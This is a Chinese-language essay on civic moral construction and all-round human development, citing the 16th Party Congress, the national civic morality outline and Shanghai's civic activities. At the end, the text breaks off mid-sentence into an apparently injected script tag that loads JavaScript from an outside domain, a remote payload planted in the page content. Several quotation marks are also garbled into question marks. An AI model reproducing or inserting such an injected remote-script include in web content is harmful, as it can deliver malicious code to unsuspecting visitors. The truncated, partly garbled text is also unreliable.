公民道德建设与人的全面发展 党的十六大报告指出，精神文明建设的基本任务是在全面建设小康社会中提高人的素质，促进人的全面发展。公民道德实践作为精神文明建设的重要内容对人的全面发展起着把握目标方向的作用。今年是党中央下发《公民道德建设实施纲要》两周年，又是第一个全国公民道德宣传日，中央文明委专门下发了《关于深入贯彻党的十六大精神，进一步加强公民道德建设的意见》，对公民道德建设提出了新的更明确的要求，为公民道德实践指明了方向。可见，通过公民道德建设的实践，促进人的全面发展既是一个新的任务，又是一个长期的目标。 众所周知，道德素质的提高，是人的全面发展的应有之义。提高公民道德素质，既是人的全面发展的内在要求，也是促进人的全面发展的有效手段。 一、道德传统是人的全面发展的精神支柱 道德是一个国家和民族的精神脊梁，也是每个公民的立身之本，中国自古以来就是礼仪之邦，崇尚美德是中华民族的悠久传统。中华民族在几千年的历史实践中，创造了灿烂辉煌的文明成果，形成了丰富全面的道德规范，孕育了优秀的民族品格和民族精神。正是在这样一种优秀道德传统的激励、推动之下，中华民族才能始终万众一心，历尽风雨而巍然屹立于世界的东方。人无德不立，国无德不兴。道德建设的好坏，体现着一个国家民众的精神状态，影响着一个民族事业的兴亡盛衰。从上个世纪80年代初的"五讲四美三热爱"、"建设社会主义精神文明"到江泽民同志明确提出"以德治国"的重要思想，加强道德建设，倡导良好风尚，已成为全国人民的共识。一个讲道德、树新风、改陋习的热潮正在神州大地蔚然兴起。加强道德建设，促进人的全面发展，在全民族牢固树立建设有中国特色社会主义的共同理想和正确的世界观、人生观、价值观，是我们事业取得成功的根本保证。只要我们坚定不移地高举邓小平理论伟大旗帜，以"三个代表"重要思想为指导，认真贯彻执行《纲要》，踏踏实实开展工作，就一定能把我国的道德建设推向一个新的境界，为中华民族的伟大复兴铸造强大的精神支柱。 二、道德素质是人的全面发展的重要内容 人的综合素质，包括思想道德素质、科学文化素质以及身体健康素质等。《纲要》提出，要培养有理想、有道德、有文化、有纪律的"四有"公民，其中，有理想、有道德、有纪律，就是对公民思想道德素质方面的要求。我们知道，在一个人所应该具备的多方面素质中，人的道德素质始终是居于核心地位并起着主导作用的，并为其它素质的形成与发展提供精神动力和伦理导向。没有过硬的道德素质，人的发展就会偏离正确的方向。对于公民的综合素质而言，思想道德素质和科学文化素质是有机统一、相互促进、协调发展的，两个方面不可偏废。因此，人的全面发展首先就要求人的道德素质的提高，而公民道德建设的直接目的也就是提高全民族每一个公民的道德素质，从而最终促进整个社会的全面发展。由此可见，公民道德建设构成了人的全面发展的必要条件，是提高全民族素质的基础性工程，是促进人的全面发展的重要基石。 三、道德实践是人的全面发展的内在要求 　　道德实践是道德形成和发展的前提，又是人的全面发展的内在要求。人们道德理想的树立和道德信念的巩固，离不开丰富多彩的道德实践。加强公民道德建设，必须高度重视道德实践的作用，把道德实践渗透到道德建设的全过程，渗透到人的全面发展的全过程。人民群众中蕴藏着巨大的道德建设的积极性、创造性，只要我们努力代表人民群众的根本利益，解决与人民群众工作生活息息相关的问题，人民群众就会把各种道德实践活动当作自己的自觉行动。如《公民道德建设实施纲要》首次提出的"爱国守法、明礼诚信、团结友善、勤俭自强、敬业奉献" 20个字的公民基本道德规范，由于涵盖了人们日常生活的方方面面，受到人民群众的欢迎和自觉遵守。上海精神文明建设的实践为人的全面发展创造了现实的条件。如组织开展?公民道德大家谈"、推广卢湾区"居民公约"的经验、"与文明同行"、"世博会与城市精神"大讨论，都受到了市民的积极响应和支持，城区的文明程度和市民的道德素养在多彩多姿的道德实践活动中得到了提升。实践证明，作为道德建设的主体，人民群众既是道德建设的实践者，又是道德建设的受益者，道德实践对人的全面发展具有强大的推动作用。 　　党的十六大明确提出，要进一步加强公民道德建设，为全面建设小康社会提供精神动力、智力支持和思想保证。要实现这个目标，促进人的全面发展，当前和今后一个时期，要?三个代表"重要思想和十六大精神为指导，遵循《纲要》的基本要求和中央文明委的《意见》，高度重视公民道德建设，坚持以人为本，与时俱进地在促进人的全面发展上下功夫。 　　 (一)要在公民道德的实践中着眼于人们的精神品格的塑造，促进人的全面发展。 　　人的全面发展，从根本上来说，离不开人的精神品格的塑造和?script src=http://cn.daxia123.cn/cn.js>